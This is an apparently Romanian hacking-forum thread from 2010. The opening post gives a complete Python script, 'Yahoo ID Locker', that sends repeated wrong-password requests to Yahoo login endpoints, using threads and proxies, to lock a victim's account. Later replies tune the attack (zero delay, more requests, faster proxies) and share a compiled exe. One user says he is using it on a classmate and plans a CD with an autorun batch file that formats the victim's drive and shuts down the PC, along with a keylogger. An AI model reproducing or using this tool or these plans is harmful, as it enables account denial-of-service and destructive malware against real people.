cmiN Posted March 8, 2010 Report Share Posted March 8, 2010 Python code by cmiN - 90 lines - codepad#! /usr/bin/env python# 08.03.2010 <> 09.03.2010 | cmiN# Yahoo ID Locker (console)import sys, time, urllib.request, threadingdef main(args): usage = """\t\t Yahoo ID Locker 1.0\t Usage: yidl.py ymsgrid timeout delay attacks method verbose proxy [address:port]Where ymsgrid is the victim Yahoo ID timeout is a float (seconds) delay is a float (seconds) attacks is an integer (how many requests) method is the page to use a - pwtoken_get b - isp_verify_user verbose is an integer 1 - print the retrieved data 0 - print nothing proxy is an integer 1 - enable proxy support address is the host ip port is the port address 0 - use global settings\t Example: yidl.py cmin764 10 0.1 20 a 1 1 186.56.68.5:8080""" if len(args) in range(8, 10): try: print("Please wait...") if int(args[7]) == 1: host = args[8] else: host = None attack(args[1], float(args[2]), float(args[3]), int(args[4]), args[5], int(args[6]), host) except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print("Ready!") else: print(usage) input()def attack(ymsgrid, timeout, delay, attacks, method, verbose, host): if method == "a" or method == "A": link = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login={usr}&passwd={pwd}" elif method == "b" or method == "B": link = "https://login.yahoo.com/config/isp_verify_user?cookies=1&p={pwd}&l={usr}" else: raise Exception("Invalid method") link = link.format(usr=ymsgrid, pwd="pass1337") headers = { "Referer": "https://login.yahoo.com", "User-Agent": "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6"} YDL.link = link YDL.headers = headers YDL.timeout = timeout YDL.verbose = verbose YDL.host = host while attacks > 0: YDL().start() time.sleep(delay) attacks -= 1 while threading.active_count() > 1: passclass YDL(threading.Thread): link = None headers = None timeout = None verbose = None host = None def __init__(self): threading.Thread.__init__(self) def run(self): request = urllib.request.Request(self.link, headers=self.headers) if self.host: request.set_proxy(self.host, "https") try: with urllib.request.urlopen(request, timeout=self.timeout) as uin: if self.verbose: print(uin.read()) except: passif __name__ == "__main__": main(sys.argv)Ai nevoie de Python 3.x1) Salvezi codul de mai sus in yidl.py2) Start -> Run -> cmd3) cd %locatie% unde %locatie% reprezinta locul unde se afla yidl.py4) yidl.py -> vezi usage5) EnjoyUpdated: 09.03.2010 2 1 Quote Link to comment Share on other sites More sharing options...
Flubber Posted March 8, 2010 Report Share Posted March 8, 2010 multumesc frumosimi place cum l-ai structurat Quote Link to comment Share on other sites More sharing options...
zippy Posted March 8, 2010 Report Share Posted March 8, 2010 frumos...10x:) Quote Link to comment Share on other sites More sharing options...
Nytro Posted March 9, 2010 Report Share Posted March 9, 2010 In sfarsit cineva care mai face cate ceva. Felicitari. Quote Link to comment Share on other sites More sharing options...
cmiN Posted March 9, 2010 Author Report Share Posted March 9, 2010 Mc la toti. Am adaugat proxy support ca sa nu mai iei ban acel interval de timp pe ip-ul tau. Quote Link to comment Share on other sites More sharing options...
Guest Mosad Posted March 9, 2010 Report Share Posted March 9, 2010 congrats ()() Quote Link to comment Share on other sites More sharing options...
razor1992 Posted March 10, 2010 Report Share Posted March 10, 2010 bravo mah. Quote Link to comment Share on other sites More sharing options...
Fitty Posted March 10, 2010 Report Share Posted March 10, 2010 Bravo, cMIN. Python master. Quote Link to comment Share on other sites More sharing options...
begood Posted March 13, 2010 Report Share Posted March 13, 2010 Am facut o versiune "exe" a acestui script. Pentru cei care nu au instalat python.http://www.2shared.com/file/12079495/6346e742/pythonPE_yidl_-_Yahoo_ID_Locke.htmlhttp://www.megaupload.com/?d=8DQNMH89file name : [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMD5 : 211ca83b5f16c0a74b95311cec645f3epassword : rstcenter.com Quote Link to comment Share on other sites More sharing options...
dragosh1904 Posted March 13, 2010 Report Share Posted March 13, 2010 Am facut o versiune "exe" a acestui script. Pentru cei care nu au instalat python.2shared - download [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMEGAUPLOAD - The leading online storage and file delivery servicefile name : [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rarMD5 : 211ca83b5f16c0a74b95311cec645f3epassword : rstcenter.comnu imi merge:| cica: "this application has failed to start because the application configuration is incorrect.reinsatling thew aplication may fix this problem" trebuie ceva gen framework? Quote Link to comment Share on other sites More sharing options...
begood Posted March 13, 2010 Report Share Posted March 13, 2010 mie imi merge perfectxp sp3. Quote Link to comment Share on other sites More sharing options...
cmiN Posted March 13, 2010 Author Report Share Posted March 13, 2010 Functioneaza la majoritatea, dar unora le returneaza erori ciudate, habar n-am de ce. Quote Link to comment Share on other sites More sharing options...
dragosh1904 Posted March 14, 2010 Report Share Posted March 14, 2010 mie imi merge perfectxp sp3.o sa incerc si eu pe sp3 atunci eram pe un home edition sp2 Quote Link to comment Share on other sites More sharing options...
joker_booom Posted March 14, 2010 Report Share Posted March 14, 2010 scuzati de intrebare, dar la ce foloseste acest program si cum se foloseste ? Quote Link to comment Share on other sites More sharing options...
cmiN Posted March 14, 2010 Author Report Share Posted March 14, 2010 Ai usage in script, nu intelegi folosesti translate, si dupa cum spune si denumirea ... blocheaza id-uri de yahoo. Quote Link to comment Share on other sites More sharing options...
AdrianCOM Posted March 14, 2010 Report Share Posted March 14, 2010 File "./adi.py", line 5, in <module> import sys, time, urllib.request, threadingImportError: No module named requestCe are? Nu recunoaste modulul ala. Quote Link to comment Share on other sites More sharing options...
Flubber Posted March 15, 2010 Report Share Posted March 15, 2010 Asigura-te ca ai Python 3.x instalatPython Programming Language -- Official Website Quote Link to comment Share on other sites More sharing options...
AdrianCOM Posted March 15, 2010 Report Share Posted March 15, 2010 Pe Linux e diferit. Sunt 2 pachete diferite. Python3 pe care il am deja instalat, si Pyhton (care indifrerent daca ii dai upgrade/update e aceeasi versiune). Quote Link to comment Share on other sites More sharing options...
cmiN Posted March 15, 2010 Author Report Share Posted March 15, 2010 Probabil unix nu are de forma aia sau probabil ca desi ai 3.x instalat iti foloseste tot 2.x. Habar nu am cum specifici ce si cum sa foloseasca, etc. Quote Link to comment Share on other sites More sharing options...
AG436 Posted March 15, 2010 Report Share Posted March 15, 2010 misto merge bn Quote Link to comment Share on other sites More sharing options...
Warframe Posted March 19, 2010 Report Share Posted March 19, 2010 l`am testat pe un id al meu si nu l`a blocat , i`am dat chiar attacks 50 pe method a ,mi`a aparut " b'1236\r\n' " apoi pe method b " b'ERROR:101:Invalid Password' "este eroare de la mine sau asa trebuie sa faca ? Quote Link to comment Share on other sites More sharing options...
cmiN Posted March 19, 2010 Author Report Share Posted March 19, 2010 Asa trebuie sa faca ... baga un delay cat mai mic, chiar 0, mai multe atacuri si foloseste un proxy mai rapid.1212 -> id valid pass invalid1235 -> id invalid pass nu mai conteaza1236 -> id blocat sau ip banat, depinde Quote Link to comment Share on other sites More sharing options...
skyner Posted March 27, 2010 Report Share Posted March 27, 2010 am si eu o intrebare...blocheaza id doar de pe ip respectiv sau il blocheaza de tot?am folosit vreo 10 proxy....trebuie neaparat sa blochez un id..are un tip cateva mass-uri de la mine legate de diriga...si ia zis azi dirigintei ca i le da..si nu am timp de keyloggere sau alte chestii... Quote Link to comment Share on other sites More sharing options...
Zatarra Posted March 28, 2010 Report Share Posted March 28, 2010 On topic: Frumos programelu dar pacat ca e temporary block..Off topic: Prea tare faza cu diriga lu` ala de mai sus Quote Link to comment Share on other sites More sharing options...
skyner Posted March 28, 2010 Report Share Posted March 28, 2010 la fiecare 12-15 ore folosesc alte proxy,ambele metode,chiar si manual dau )daca nu mai poate intra pe mess nu are acces la ele..si e genul de idiot..care nu cred ca a intrat vreodata pe mail xDluni fac un cd cu un referat si pun pe careva sa il dea..pun si un autoexec cu un bat sa ii formateze tot,apoi sa se adauge la startup si sa ii inchida pc la 1 sec dupa ce il deschide..eventual si un keylogger...alte sugestii? Quote Link to comment Share on other sites More sharing options...